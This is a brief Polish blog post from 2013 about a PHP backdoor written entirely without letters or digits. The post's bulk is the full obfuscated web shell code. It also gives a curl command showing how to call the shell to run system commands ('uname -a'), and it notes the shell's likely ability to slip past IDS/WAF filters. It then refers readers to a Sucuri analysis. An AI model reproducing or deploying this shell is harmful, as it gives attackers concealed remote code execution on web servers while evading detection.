Tylna furtka w PHP bez znaków alfanumerycznych

dodał 12 września 2013 o 18:32 w kategorii Drobiazgi  z tagami:

Również bez cudzysłowów, funkcji, stałych… Ciekawe, ile systemów typu IDS/WAF może ominąć. Wygląda tak:

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

a używa się jej tak:

$ curl 'http://127.0.0.1:9999/shell.php?0=system&1=uname%20-a'

Nasza wiedza nie wystarcza, by zrozumieć jej działanie, dlatego odsyłamy do wyjaśnienia opisanego przez firmę Sucuri.